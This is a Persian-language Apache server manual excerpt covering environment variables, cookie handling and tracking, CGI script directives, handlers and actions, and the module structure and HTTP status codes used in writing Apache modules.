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بـه عنـوان    .  رد كند  CGIهاي    اين ديركتيو يك متغير محيطي را مقداردهي كرده و سپس به اسكريپت           
 مـشابه   خـواهيم از يـك اسـكريپت    مثال فرض كنيد چندين ميزبان مجازي روي يك ماشين داريـم و مـي    

كنند، يك متغير جديـد بـه         را فراخواني مي    براي تمايز بين ميزبانهاي مجازي كه اسكريپت      . استفاده كنيم 
  :كنيم  تعريف ميVHOSTنام 

<VirtualHost host1> 
SetEnv VHOST customers 
... 
</VirtualHost> 
<VirtualHost host2> 
SetEnv VHOST salesmen 
... 
</VirtualHost> 
 

UnsetEnv   

 
UnsetEnv variable variable ... 
Server config, virtual hosts 

  . كند اين ديركتيو ليستي از متغيرهاي محيطي را گرفته و آنها را حذف مي
  

PassEnv  

 
PassEnv 

اين ديركتيو معمولاً در مـواقعي      .  كند   در مي  CGIهاي     اين ديركتيو يك متغير محيطي را به اسكريپت       
ند بـه خـصوص وقتـي كـه         هاي محيطي تعريف نشده باش ـ      رود كه ممكن است بسياري از متغير        به كار مي  

 نياز به دانستن نـوع سيـستم عامـل     مثلاً هنگامي كه اسكريپت  . آپاچي هنگام بوت شدن شروع به كار كند       
  :توانيد از ديركتيو زير استفاده كنيد باشد، مي

PassEnv OSTYPE 

  ) را مقداردهي كرده باشدOSTYPEالبته فرض بر اين است كه سيستم عامل متغير (

   ها كوكي 11-4
شناسايي كـاربران قبلـي يـك       ها نقش مهمي را در        كوكيبكه و سرويسهاي الكترونيكي امروز،      نياي ش در د 

سـت كـه اغلـب شـامل يـك          يك تكـه داده ا     كوكي. خوشامدگويي به آنها در مراجعه مجدد دارند      سايت و   
طـور   بـه كرد كه   توان آپاچي را وادار       مي. گنجانده شده است   HTTPاست كه در سرآيند     شماره انحصاري   
وانيد كنترل بيـشتري روي     ت  اين كار را انجام دهيد مي      ولي اگر خودتان     بفرستد و   هساختخودكار كوكي را    
ولـي بهتـر اسـت      . CGI::Cookie و   CGI.pm:  كمك بگيريد  Perlتوانيد از ماجولهاي      مي. آن داشته باشيد  

  . خودتان اين كار را انجام دهيدبه صورت سطح پايين در ابتدا الامكان  حتي
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هنگامي كه كـاربر دوبـاره بـه يـك وبگـاه            . كند  ها نگهداري مي    ها و وبگاه   فهرستي از كوكي  مرورگر كارفرما   
اگر همـراه   . فرستد مرورگر به طور خودكار كوكي را به شرط آن كه منقضي نشده باشد، مي             كند،    رجوع مي 

. كنـد  ر به سايت مراجعـه مـي    ان فرض كرد كه اولين بار است كه كارب        تو  سرآيند درخواست كوكي نبود، مي    
بازديد در   داده ذخيره شده     ، موجود در كوكي   IDنام سايت و    با استفاده از    ان  تو  در صورت وجود كوكي، مي    

 مراجعه كرديم، با پيـام گـرم        Amazonبه سايت   به عنوان نمونه هنگامي كه      . بازيابي كرد را  قبلي از سايت    
"Welcome back Laurie!" يـستم  س مواجه شديم، زيراAmazon        كـوكي كـه همـراه بـا درخواسـت بـا

  . پي به مراجعه قبلي ما به سايت برده استفرستاده شده بود را شناخته و از روي آن به 
 است كه ممكن است به همراه هـر چـه      Name=Valueكمترين محتواي آن    . كوكي يك رشته متني است    

ها را استفاده كنيد از  واهيد اين نويسه  خ  مير شما   اگ. اند باشد تو  ميمانند كاما، خط فاصله     كه شما بخواهيد    
وانـد  ت  است مفيد از كوكي مـي     نوع   يك   . استفاده كنيد  ) است "26%" برابر   "&"مثلا كد    (URLكدگذاري  

  :چيزي شبيه زير باشد
Butterthlies=8335562231 

Butterthlies    سايت را  ندين  كند، كه روي كارگزاري كه چ       ميآن را صادر كرده را مشخص       وبگاهي كه
 .شماره شناسايي بازديد كننده در آخرين بازديدش اسـت         8335562231 . كند مورد نياز است     ميزباني مي 

، نياز به توليد    هاي جعلي منتسب به كاربران ديگر       فوذگران و فرستادن كوكي   براي جلوگيري از خرابكاري ن    
  .اريدغير قابل حدس يا حفاظت از آن با رمزنگاري دعدد تصادفي بزرگ 

  :اين فيلدهاي ممكن در يك كوكي است
expires=DATE  

اگـر ايـن   . نـد ك بايد كوكي را منقضي در نظر بگيرد، مشخص مياين فيلد تاريخ و زماني كه مرورگر      
-Mon, 27قالـب آن بـه شـكل    . شـود  در انتهاي نشست توسط مرورگر دور ريخته مـي فليد نباشد، 

Apr-2020 13:46:11 GMTاست  ."GMT" واهيد كوكي دائمـي  خ مياگر . مجاز است ساعت تنها
  . در نظر بگيريدفرض شود، تاريخي را در آينده دور 

domain=DOMAIN_NAME  
 مقايـسه و تطبيـق      DOMAIN_NAMEرا بـا    ) از سـمت راسـت     (كـارگزار  URLانتهـاي   مرورگر   

  .  استتطبيق acme.comبا  shipping.crate.acme.comمثلا . كند مي
path=PATH  

بـا هـر    / . شـود   يـسه و تطبيـق مـي      امق) از سمت چـپ   ( مسير هم    هنگاآدامنه تطبيق پيدا كند،      اگر
  . تطبيق داردfoo/html/ و foobar/ با foo/مسيري تطبيق دارد، 

secure  
فعلاً منظور كانالي اسـت  كه شود،  فرستاده مياين بدان معني است كه كوكي تنها از يك كانال امن     

  . توضيح داده شده است9 كه در فصل  امن شده است SSLكه با 
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  :شوند، بنابراين  از هم جدا مي;فيلدها با 
Butterthlies=8335562231; expires=Mon, 27-Apr-2020 13:46:11 GMT 

 قابـل   ENV{'HTTP_COOKIE'}$هـر كـوكي ورودي در متغيـر     Perlهـاي بـه زبـان     در اسكريپت
  . دسترسي است

  : قرار دهيدHTTP در سرآيند Set-Cookieبراي فرستادن كوكي، مقدار كوكي را با كلمه كليدي 
Set-Cookie: Butterthlies=8335562231;expires=Mon, 27-Apr-2020 13:46:11 GMT 

  
  . كند  را كامل ميHTTP انتهايي را فراموش نكنيد كه سرآيند n\و 

  كوكيهاي آپاچي 11-4-1
 را بـا ديركتيوهـاي زيـر        ها  راهبري كوكي توانيد كار را به آپاچي محول كرده و           يالبته اگر مايل باشيد م    

آن هـم پـس از تحليـل فايـل          البته به نظر ما، ايـن ديركتيوهـا فقـط بـراي رديـابي كـاربران                 . انجام دهيد 
  .رويدادنگاري مفيد هستند

سـپس  . مه مناسب است  هاي كاربران در يك رويدادنا      ذخيره كوكي دهد    تمام كاري كه آپاچي انجام مي     
بنـابراين  . بايد فايل رويدادنامه را شخصاً تحليل كنيد كه معمولاً اين كار نياز به نوشتن يك اسكريپت دارد                

  .باشدتر  راحتنظر كردن از ديركتيوها  صرفشايد نوشتن يك اسكريپت و 

CookieName   

 

CookieName name 

Server config, virtual host, directory, .htaccess 
  

CookieName  فـرض    نـام پـيش   . شود را مشخص كـرد      دهد نام كوكي كه فرستاده مي       اجازه ميApache 
  .  باشد– و _،A-Z ،a-z ،0-9هاي  تواند نويسه نام جديد مي. است

CookieLog   

 

CookieLog filename 

Server config, virtual host 

CookieLog  تـر آن اسـت كـه         متداول. كند  مشخص مي ) رويدادنگاري( اه  ثبت كوكي براي   را   ي نام فايل
  .ثبت كردها را در فايل رويدادنگاري مركزي  كوكي پيكربندي كرده و  LogFormatفيلدي را با 

CookieTracking   
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CookieExpires expiry-period 

CookieTracking [on|off] 

Server config, virtual host, directory, .htaccess 

  

 

ا ه ـ  مشخص كردن تـاريخ انتـضا، كـوكي       بدون  . كنند  مشخص مي انقضاي كوكي را     تاريخ   اين ديركتيوها 
هـا يـا بـه        وان بر حسب تعداد ثانيه    ت  را مي  expiry-period. شوند  ديركتيو در انتهاي نشست دور ريخته مي      

 ""رشته بايـد بـين   د، از قالب دوم استفاده شاگر .  تعيين كرد"weeks 3 days 7 hours 2 "صورت مثلاً 
  :ي زماني معتبر عبارتند ازها  دوره.محصور باشد

years  
months  
weeks  
hours  
minutes 

  فايل پيكربندي  11-4-2
  : استفايل پيكربندي به صورت زير

User webuser 
Group webgroup 
 
ServerName my586 
 
DocumentRoot /usr/www/APACHE3/site.first/htdocs 
 
TransferLog logs/access_log 
 
CookieName "my_apache_cookie" 
 
CookieLog logs/CookieLog 
CookieTracking on 
CookieExpires 10000 

  :شوند خطوط زير مشاهده ميدر فايل رويدادنگاري آنگاه 
192.168.123.1.5653981376312508 "GET / HTTP/1.1" [05/Feb/2001:12:31:52 +0000] 

192.168.123.1.5653981376312508 "GET /catalog_summer.html HTTP/1.1" [05/Feb/2001:12:31:55 
+0000] 

192.168.123.1.5653981376312508 "GET /bench.jpg HTTP/1.1" [05/Feb/2001:12:31:55 +0000] 

192.168.123.1.5653981376312508 "GET /tree.jpg HTTP/1.1" [05/Feb/2001:12:31:55 +0000] 

192.168.123.1.5653981376312508 "GET /hen.jpg HTTP/1.1" [05/Feb/2001:12:31:55 +0000] 

192.168.123.1.5653981376312508 "GET /bath.jpg HTTP/1.1" [05/Feb/2001:12:31:55 
+0000]  
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  ديركتيوهاي اسكريپت  11-5
  : داردCGIهاي  آپاچي پنج ديركتيو براي كار با اسكريپت

ScriptAlias   

 

ScriptAlias URLpath CGIpath 

Server config, virtual host 

 و  كنـد   آماده مي  CGIي  ها  آپاچي را براي اجراي اسكريپت    . هدد   دو كار انجام مي    ScriptAliasديركتيو  
بـراي  . كنـد   تبـديل مـي    CGIpathدر  يك اسـكريپت    شوند را به      شروع مي  URLpath با  كه ييدرخواستها

  : مثال
ScriptAlias /bin /usr/local/apache/cgi-bin 

ــر ــبيه URL هـ ــكريپت  www.butterthlies.com/bin/fred شـ -usr/local/apache/cgi/ اسـ

bin/fred    دقت كنيد كه    .  را اجرا خواهد كردCGIpath    شـروع  / يـك مـسير مطلـق باشـد كـه بـا              بايـد
  . شود مي

هـاي     را بـا زيرشـاخه     URLان  تـو   ميكه  كند آن است      فراهم مي  ScriptAlias ييك امكان بسيار مفيد   
  www.butterthlies.com/bin/fred/purchase/learjet ورودي URL بنــابراين .غيــر واقعــي برچــسب زد

از طريـق متغيـر   نيـز   را purchase/laserjetمـتن  مانند قبل اجرا خواهـد كـرد ولـي     fred/ …اسكريپت 
ان يـك اسـكريپت     تـو   مييق  بدين طر .  خواهد گذاشت   fred اسكريپت    در اختيار  PATH_INFOمحيطي  

بـر حـسب    بـراي ايـن كـار بايـد در ابتـداي اسـكريپت              . نوشـت مختلف  درخواست   نوع   راهبري چند براي  
  . زيرروالهاي مختلف را فراخواني كرد، ها ورودي

  
ScriptAliasMatch   

 

ScriptAliasMatch regex directory 

Server config, virtual host 

از عبارات منظم اسـتاندارد    به جاي مقايسه ساده پيشوندي      است ولي    ScriptAliasاين ديركتيو معادل    
 را  بخش محصور در پرانتز   كارگزار هر    تطبيق داده شده و      URLعبارت منظم ارائه شده با      . كند  استفاده مي 

 هـر   ن براي فعـال كـرد      مثال به عنوان . كند  تطبيق داده و به عنوان نام فايل استفاده مي        با رشته داده شده     
  :وان از دستور زير استفاده كردت مي cgi-bin/اسكريپت در 

ScriptAliasMatch /cgi-bin/(.*) /usr/local/apache/cgi-bin/$1 
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 بـا   "cgi-bin/" را درخواسـت كنـد     http://www.butterthlies.com/cgi-bin/script3كاربر پيونـد    اگر  
/cgi-bin/  بايد  آنگاه  . يابد  تطبيق ميscript3  به  "."ود، زيرا   ش  همين طور هم مي   تطبيق دهيم كه     *.با    را 

پرانتزهاي . باشد  ، مي  تطبيق يافته است   "."ي كه با    ا از نويسه به معني هر تعداد      "*"معني هر نوع نويسه و      
اگر عبارت محـصور در   ( ذخيره نمايد1$رشته تطبيق شده را در متغير       كند كه      به آپاچي اعلان مي    *.دور  

-usr/local/apache/cgi/در انتهـا    . )شـود    ذخيـره مـي    2$ري در ادامـه بـود در متغيـر          پرانتز ديگ ـ 

bin/script3 شود اجرا مي.  

ScriptLog   

 

ScriptLog filename 

Default: no logging 

Resource config 

 كار دشواري است، اين ديركتيو در اشـكال زدايـي كمـك             CGIهاي   از آنجا كه اشكال زدايي اسكريپت     
  .شوند  در آن ثبت ميCGIمربوط به  كه رويدادهاي كند  را مشخص ميكرده و نام فايلي

ScriptLogLength   

 

ScriptLogLength number_of_bytes 

Default number_of_bytes: 10385760 

Resource config 

  
ل بـه ايـن مقـدار       هنگامي كه طول فاي ـ   . كند  زدايي را تعيين مي     اين ديركتيو حداكثر طول فايل اشكال     

  ).پس از آخرين پيام كامل(شود  رسيد، رويدادنگاري متوقف مي

ScriptLogBuffer   

 

ScriptLogBuffer number_of_bytes 

Default number_of_bytes: 1024 

Resource config 

  .ندك  را مشخص ميPOSTبراي ثبت در درخواست اين ديركتيو حداكثر تعداد بايتهاي 
  

 ميـزان   توان   مي  .به طور انحصاري تلف كند     بد عمل كرده و منابع سيستم را         ممكن است  اسكريپتيك  
   .ها با سه ديركتيو كنترل كرد منابع توسط اسكريپتمصرف 
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RLimitCPU   

 

RLimitCPU # | 'max' [# | 'max'] 

Default: OS defaults 

Server config, virtual host 

RLimitCPU     اند يك عدد يا كلمه      تو  هر پارامتر مي  . ردگي  ي يك يا دو پارامتر مmax     باشد، كه حـداكثر 
حـد نـرم منبـع و    پارامتر اول . دكن مشخص ميتعيين شده توسط سيستم را بر حسب ثانيه به ازاي پردازه    

  . كند پارامتر دوم حد سخت منبع را مشخص مي
 

RLimitMEM   

 

RLimitMEM # | 'max' [# | 'max'] 

Default: OS defaults 

Server config, virtual host 

RLimitMEM     اند يك عدد يا كلمه      تو  هر پارامتر مي  . ردگي  يك يا دو پارامتر ميmax   باشد، كه حداكثر 
پـارامتر اول حـد نـرم       . دكن  تعيين شده توسط سيستم را بر حسب بايت به ازاي پردازه مشخص مي            حافظه  

  .كند ميمنبع و پارامتر دوم حد سخت منبع را مشخص 
 

RLimitNPROC   

 

RLimitNPROC # | 'max' [# | 'max'] 

Default: OS defaults 

Server config, virtual host 

RLimitNPRC     انـد يـك عـدد يـا كلمـه           تو  هر پارامتر مي  . ردگي  يك يا دو پارامتر ميmax     باشـد، كـه 
پارامتر اول حـد    . دكن  مشخص مي را    هر كاربر  ه ازاي  تعيين شده توسط سيستم ب     ايه  تعداد پردازه حداكثر  

  .كند نرم منبع و پارامتر دوم حد سخت منبع را مشخص مي
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  راهبرها 11-6
روي يك فايل از گونه خـاص       اعمال خاص   در درون آپاچي براي انجام       است كه    ي كد  قطعه 3يك راهبر 

MIME  براي مثال يك فايل با گونه راهبر        . شود   فراخواني ميcgi-scripts     ن يـك اسـكريپت      بايد بـه عنـوا
CGIاجرا شود  .  

قابل اضافه   Actions ديگر راهبرها كه با دستور        نيز   و   دارد ساخته  دي راهبر به صورت پيش    تعداآپاچي  
  :ساخته به صورت زير هستند راهبرهاي پيش. كردن هستند

send-as-is  
  .(mod_asis) بفرست HTTPفايل را به همان صورت كه هست به همراه سرآيندهاي 

cgi-script  
  .فعال باشد بايد Options ExecCGIباشيد كه گزينه توجه داشته . (mod_cgi)كند  فايل را اجرا مي

imap-file  
  (mod_imap). كند  استفاده ميimagemapفايل را به عنوان 

server-info  
 .(mod_info)گيرد  پيكربندي كارگزار را مي

server-status  
  .(mod_status)گيرد  وضعيت فعلي كارگزار را مي

server-parsed  
 بايد Options Includesتوجه داشته باشيد كه . server-side includes (mod_include)پارس كردن 

  .فعال باشد
type-map  

  . (mod_negotiation) كند پارس ميبراي مذاكرده فعلي  type mapفايل يك فايل را به عنوان 

AddHandler   

 

AddHandler handler-name extension1 extension2 ... 

Server config, virtual host, directory, .htaccess 

AddHandler   را به فايلهاي با پسوندهاي      موجود  راهبر  يكextension1   به عنوان  . كند  نگاشت مي ...  و
  :خط زير موجود باشدمثال ممكن است در فايل پيكربندي شما 

AddHandler cgi-script cgi bzq 

                                                 
3 Handler 
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  . قلمداد شوندCGIيك اسكريپت اجرايي به عنوان  bzq. يا cgi.د فايلهاي با پسوندهيا شو كه باعث مي
  

SetHandler   

 

SetHandler handler-name 

directory, .htaccess 

بر  را   handler-nameتوسط  دهد، ولي انتقال مشخص شده         انجام مي  AddHandlerاين كار مشابهي با     
 يا در    <Files>يا  ،  <Directory>  ،<Location>:كه ظاهر شده مانند   بخشي  در  اي موجود   تمام فايله روي  
  :به عنوان مثال. دهد انجام مي را  htaccess. مربوط به شاخة

<Location /status> 
<Limit get> 
order deny,allow 
allow from 192.168.123.1 
deny from all 
</Limit> 
SetHandler server-status 
</Location> 
 

RemoveHandler   

 

RemoveHandler extension [extension] ... 

directory, .htaccess 

RemoveHandler is only available in Apache 1.3.4 and later.  

 هر گونه راهبر منتسب به فايلهاي با پـسوندهاي مـشخص شـده را حـذف                 RemoveHandlerديركتيو  
را هر انتساب راهبر به ارث برده شـده         دهد     اجازه مي  ها  در زيرشاخه  htaccess.يلهاي  اين امر به فا   . كند  مي

  :مثال. حذف كنند
/foo/.htaccess:  
AddHandler server-parsed .html  
/foo/bar/.htaccess:  
RemoveHandler .html 

در (تلقـي شـوند     ي   به عنـوان فايلهـاي عـاد        foo/bar/در شاخه    html.فايلهاي  شود كه     نتيجه اين مي  
  .)تعيين شده بودندپارس شدن حالي كه در شاخه بالاتر براي 
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  (Actions) ها كنش 11-7
فايلهاي مشخص شده را    ،  دهي  قبل از سرويس    يك كنش   . باشد مرتبط با راهبرها، كنش مي    مفهوم  يك  

  . كند رد مي CGIبه يك اسكريپت 

 كنش 11-7-1
Action type cgi_script 
Server config, virtual host, directory, .htaccess  

cgi_script    فايل  به هرMIME      يا راهبر از نوعtype مكانيزم بـه چنـد روش قابـل         اين. شود   مي  اعمال
  كـاربر  قبل از فرستادن به   براي نمونه گذراندن برخي فايلها از يك فيلتر و پردازش اوليه آن             . استفاده است 

 ويي در فـضاي ديـسك  ج ـ  براي صرفه  خواهيم   فرض كنيد مي   به عنوان يك مثال ساده    . واند مفيد باشد  ت  مي
از بـه هنگـام بازيـابي       و قبـل از سـرويس دادن،        به صورت فـشرده ذخيـره كـرده          را   html.هاي    تمام فايل 

 نـيم، بـه اسـتثناي     ك  درست مي  site.first را مشابه به   site.filterبراي اين منظور     .خارج سازيم گي   فشرده
  :ورت زير است كه به صhttpd.confفايل 

User webuser 
Group webgroup 
ServerName localhost 
DocumentRoot /usr/www/APACHE3/site.filter/htdocs 
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin 
AccessConfig /dev/null 
ResourceConfig /dev/null 
AddHandler peter-zipped-html zhtml 
Action peter-zipped-html /cgi-bin/unziphtml 
<Directory /usr/www/APACHE3/site.filter/htdocs> 
DirectoryIndex index.zhtml 
</Directory>  

  
  :نكات قابل توجه عبارتند از

• AddHandler     با نام    يك راهبر جديدpeter-ziped-html    پـسوند فـايلي     ساخته وzhtml     را بـه آن
 . ) دقت كنيدzhtml قبل از به نبود نقطه (زدسا منتسب مي

• Action براي نمونه. ندك يك فيلتر برپا مي: 
Action peter-zipped-html /cgi-bin/unziphtml 

  ". اعمال كنpeter-zipped-htmlبا راهبر به هر چيزي  را unziphtmlاسكريپت "بدين معني است كه 
  

  :شامل خطوط زير است cgi-bin/unziphtml/ …اسكريپت 
#!/bin/sh 
echo "Content-Type: text/html" 
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echo 
gzip -S .zhtml -d -c $PATH_TRANSLATED 

  
gzip روي فايلي كه در متغير محيطي PATH_TRANSLATED شود اعمال مي ذخيره شده .  
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 :مهدازدوفصل  12
  نوشتن ماجولهاي آپاچي
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دهـد را نپـسنديديد،    آپاچي انجام ميآنچه را كه يكي از بهترين ويژگيهاي آپاچي آن است كه اگر شما          
شود درسـت اسـت،       افزاري كه همراه متن ارائه مي       البته اين براي هر بسته نرم     . توانيد آن را تغيير دهيد      مي

براي ماجولها است كه امكانات و      واسط عمومي   يك    داراي  آپاچي .تر كرده است    ولي آپاچي اين كار را ساده     
تعـداد زيـادي   كنيـد،    را دانلود مـي هنگامي كه آپاچيدر واقع . دهند يرا گسترش م يي آپاچي   مبناكاركرد  

در اين . كنيد كه آپاچي بدون آنها قادر به انجام درست وظيفه خود نيست      ماجول نيز همراه آن دريافت مي     
 البته فرض بـر ايـن اسـت         .پردازيم  گيهاي نوشتن يك ماجول براي آپاچي مي        كاريها و پيچيده    ريزهفصل به   

واردي كه   م  است ولي در   1.3 بر مبناي آپاچي     اين فصل .  آشنايي داشته باشيد   C اندازه كافي با زبان      كه به 
  .شود متفاوت است، به آن اشاره مي 2آپاچي نسخه 

  مرور 12-1
 تعريـف   http_config.h ايـن سـاختار در       . اسـت  moduleاحتمالاً مهمترين بخش يك ماجول، ساختار       

  :شوند با خط زير شروع مي) به جز بخش كپي رايت(بنابراين همه ماجولها . شده است
#include "httpd.h" 
#include "http_config.h" 

  .لازم استبراي تمام بخشهاي كد آپاچي  httpd.hتوجه داشته باشيد كه 
ايـن سـاختار شـامل      . باشـد    به كد مـاجول مـي      اتصال كد هسته آپاچي    moduleساختار  در واقع نقش    

 از آنجـا كـه   .هسته در وقـت مناسـب اسـتفاده شـود    است كه توسط  و غيره اليسته ،توابعگرهايي به     اشاره
 را  moduleهـسته آپـاچي سـاختارهاي مختلـف          نـد، ا تعريـف شـده    modules.c  در module هايساختار

  .شود ساخته مي Configurationاز روي فايل  Configureتوسط اسكريپت  modules.c فايل .شناسد مي
فايـل  عملـي را از     در اينجـا يـك مثـال        . يابـد    خودش خاتمه مي   module با ساختار    هر ماجول معمولاً  

mod_asis.c نماييد مشاهده مي:  
module asis_module = { 
   STANDARD_MODULE_STUFF, 
   NULL,                          /* initializer */ 
   NULL,                          /* create per-directory config structure */ 
   NULL,                          /* merge per-directory config structures */ 
   NULL,                          /* create per-server config structure */ 
   NULL,                          /* merge per-server config structures */ 
   NULL,                          /* command table */ 
   asis_handlers,                 /* handlers */ 
   NULL,                          /* translate_handler */ 
   NULL,                          /* check_user_id */ 
   NULL,                          /* check auth */ 
   NULL,                          /* check access */ 
   NULL,                          /* type_checker */ 
   NULL,                          /* prerun fixups */ 
   NULL                           /* logger */ 
   NULL,                          /* header parser */ 



  155    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

   NULL,                          /* child_init */ 
   NULL,                          /* child_exit */ 
   NULL                           /* post read request */ 
}; 

وجـود   moduleسـاختارهاي   بايـد در تمـام      است كه    STANDARD_MODULE_STUFFنخستين مدخل   
هـسته بـراي مـديريت ماجولهـا        كـه   خي عناصر سـاختار اسـت       برمقداردهي اوليه   وظيفه آن    .اشدداشته ب 

، نام  هاي مختلف   انديس ماجول در آرايه   ،  APIشماره نسخه   در حال حاضر اينها عبارتند از       .كند  استفاده مي 
  .ولها بعدي در ليست تمام ماجmoduleساختار گر به  و يك اشاره، )در واقع نام فايل آن(ماجول 
ايـن  همين قدر بس كـه      .  است كه بعدا بيشتر به آن خواهيم پرداخت        handlersبراي  مدخل ديگر   تنها  

را مـشخص  انـداز آنهـا    راهتابعي  و   MIMEرابطه بين   كند كه     اشاره مي ها و توابع      رشتهليستي از   مدخل به   
اجول از اينهـا اسـتفاده      معني آن است كـه ايـن م ـ       است كه به     NULL مقدار ديگر مدخلها برابر   . كنند  مي
  . كند نمي

  : مشابه زير است2.0ساختار معادل در نسخه 
static void register_hooks(apr_pool_t *p) 
{ 
    ap_hook_handler(asis_handler,NULL,NULL,APR_HOOK_MIDDLE); 
} 
 
module AP_MODULE_DECLARE_DATA asis_module = 
{ 
    STANDARD20_MODULE_STUFF, 
    NULL,   /* create per-directory config structure */ 
    NULL,   /* merge per-directory config structures */ 
    NULL,   /* create per-server config structure */ 
    NULL,   /* merge per-server config structures */ 
    NULL,   /* command apr_table_t */ 
    register_hooks   /* register hooks */ 
}; 
 

در .  تطـابق دارد 1.3سـاختار مـاجول آپـاچي    با كاركرد  ( ) register_hooks  تابع بايد نشان دهيم كه
  .بخش بعدي جزئيات را شرح خواهيم داد

  وضعيتكدهاي  12-2
خ درخواسـت  د بـه عنـوان پاس ـ  ن ـتوان كند كه مـي  تعريف ميتعدادي كد وضعيت  HTTP 1.1استاندارد 
كد وضـعيت   يك   يا   DECLINES يا   OK يك درخواست،   در پردازش     درگير بيشتر توابع . فرستاده شوند 

. پـردازش درخواسـت نـدارد     تمايلي بـه     معمولا به اين معني است كه ماجول         DECLINED. گردانند  برمي
OK       بـه طـور    . ادامـه يابـد   ند  اتو  ميپيام  پردازش   اينكهشده يا    را پردازش    درخواست به معني آن است كه

كـدهاي  در هنگـام تهيـه كتـاب،         . شـود   منتقل مي به كاربر   تعدادي سرآيندي   به همراه    وضعيت  كد  كلي  
  :به صورت زير هستندتعريف شده  وضعيت از پيش

#define HTTP_CONTINUE                      100 
#define HTTP_SWITCHING_PROTOCOLS           101 
#define HTTP_OK                            200 
#define HTTP_CREATED                       201 
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#define HTTP_ACCEPTED                      202 
#define HTTP_NON_AUTHORITATIVE             203 
#define HTTP_NO_CONTENT                    204 
#define HTTP_RESET_CONTENT                 205 
#define HTTP_PARTIAL_CONTENT               206 
#define HTTP_MULTIPLE_CHOICES              300 
#define HTTP_MOVED_PERMANENTLY             301 
#define HTTP_MOVED_TEMPORARILY             302 
#define HTTP_SEE_OTHER                     303 
#define HTTP_NOT_MODIFIED                  304 
#define HTTP_USE_PROXY                     305 
#define HTTP_BAD_REQUEST                   400 
#define HTTP_UNAUTHORIZED                  401 
#define HTTP_PAYMENT_REQUIRED              402 
#define HTTP_FORBIDDEN                     403 
#define HTTP_NOT_FOUND                     404 
#define HTTP_METHOD_NOT_ALLOWED            405 
#define HTTP_NOT_ACCEPTABLE                406 
#define HTTP_PROXY_AUTHENTICATION_REQUIRED 407 
#define HTTP_REQUEST_TIME_OUT              408 
#define HTTP_CONFLICT                      409 
#define HTTP_GONE                          410 
#define HTTP_LENGTH_REQUIRED               411 
#define HTTP_PRECONDITION_FAILED           412 
#define HTTP_REQUEST_ENTITY_TOO_LARGE      413 
#define HTTP_REQUEST_URI_TOO_LARGE         414 
#define HTTP_UNSUPPORTED_MEDIA_TYPE        415 
#define HTTP_INTERNAL_SERVER_ERROR         500 
#define HTTP_NOT_IMPLEMENTED               501 
#define HTTP_BAD_GATEWAY                   502 
#define HTTP_SERVICE_UNAVAILABLE           503 
#define HTTP_GATEWAY_TIME_OUT              504 
#define HTTP_VERSION_NOT_SUPPORTED         505 
#define HTTP_VARIANT_ALSO_VARIES           506 
 

  :اند هاي قبلي، اينها نيز تعريف شده سازگاري با نسخهبراي رعايت 
#define DOCUMENT_FOLLOWS    HTTP_OK 
#define PARTIAL_CONTENT     HTTP_PARTIAL_CONTENT 
#define MULTIPLE_CHOICES    HTTP_MULTIPLE_CHOICES 
#define MOVED               HTTP_MOVED_PERMANENTLY 
#define REDIRECT            HTTP_MOVED_TEMPORARILY 
#define USE_LOCAL_COPY      HTTP_NOT_MODIFIED 
#define BAD_REQUEST         HTTP_BAD_REQUEST 
#define AUTH_REQUIRED       HTTP_UNAUTHORIZED 
#define FORBIDDEN           HTTP_FORBIDDEN 
#define NOT_FOUND           HTTP_NOT_FOUND 
#define METHOD_NOT_ALLOWED  HTTP_METHOD_NOT_ALLOWED 
#define NOT_ACCEPTABLE      HTTP_NOT_ACCEPTABLE 
#define LENGTH_REQUIRED     HTTP_LENGTH_REQUIRED 
#define PRECONDITION_FAILED HTTP_PRECONDITION_FAILED 
#define SERVER_ERROR        HTTP_INTERNAL_SERVER_ERROR 
#define NOT_IMPLEMENTED     HTTP_NOT_IMPLEMENTED 
#define BAD_GATEWAY         HTTP_BAD_GATEWAY 
#define VARIANT_ALSO_VARIES HTTP_VARIANT_ALSO_VARIES 

  
 آمـده اسـت، ولـي در اينجـا بـه برخـي از        HTTP 1.1 پروتكـل  در توصـيف  اين كـدها  عنيمجزئيات 

 ) معـروف بـود    DOCUMENT_FOLLOWSكه قبلاً به نـام      ( HTTP_OK. كنيم  مهمترين آنها اشاره مي   
ــولا  ــد معم ــود،  نباي ــتفاده ش ــث   اس ــرا باع ــدن  زي ــف ش ــردازش  متوق ــه پ ــي ادام ــت م ــود درخواس . ش
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HTTP_MOVED_TEMPORARILY )      كه قبلا به نامREDIRECT  شـود كـه      باعث مـي  )  معروف بود
ــر  ــه مرورگـ ــرآيند  URLبـ ــه در سـ ــري كـ ــده Location ديگـ ــشخص شـ ــد  مـ ــسير دهـ ــر مـ . تغييـ

HTTP_NOT_MODIFIED )    كه قبلا بهUSE_LOCAL_COPY  در پاسخ به درخواستي    ،  ) معروف بود
  ).If-Modified-Sinceمثلا ( شرطي داشته باشند GET ه آيد ك مي

  moduleساختار  12-3
 ترتيب مدخلهاي سـاختار را بـه ترتيـب       .پردازيم   مي moduleبه طور جزئي تر به ساختار       در اين بخش    
  .نيستساختار دهيم كه لزوماً همانند ترتيب ظاهر شدن در  استفاده شرح مي

Create Per-Server Config Structure   

 
void *module_create_svr_config(pool *pPool, server_rec *pServer) 

  
كارگزار اصلي  يك بار براي    اين تابع   . سازد  را براي ماجول مي   هر كارگزار   به ازاي    پيكربندي   اين ساختار 

گـره    حافظه تخصيص داده و اشاره    پيكربندي  به ازاي   شود و     ميزبان مجازي فراخواني مي   و يك بار براي هر      
 كـه از     1-12  مثـال   بـه   . كنـد   كـارگزار فعلـي اشـاره مـي        server_recبـه    pServer. گرداند  به آن را برمي   

mod_cgi.c  ،توجه كنيدانتخاب شده :  
  mod_cgi.c. 1-12 مثال 

#define DEFAULT_LOGBYTES 10385760 
#define DEFAULT_BUFBYTES 1024 
 
typedef struct { 
    char *logname; 
    long logbytes; 
    int bufbytes; 
} cgi_server_conf; 
 
static void *create_cgi_config(pool *p, server_rec *s) 
{ 
    cgi_server_conf *c = 
    (cgi_server_conf *) ap_pcalloc(p, sizeof(cgi_server_conf)); 
 
    c->logname = NULL; 
    c->logbytes = DEFAULT_LOGBYTES; 
    c->bufbytes = DEFAULT_BUFBYTES; 
 
    return c; 
} 
 

  . كند را تخصيص داده و مقداردهي اوليه مي cgi_server_confيك رونوشت از اين قطعه كد تنها 
 ( ) apr_pool_t به ترتيب بـه  ( ) ap_pallocو  pool كرده آن است كه 2.0اچي تنها تغييري كه در آپ

  .اند  تبديل شده( ) apr_pallocو 
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Create Per-Directory Config Structure   

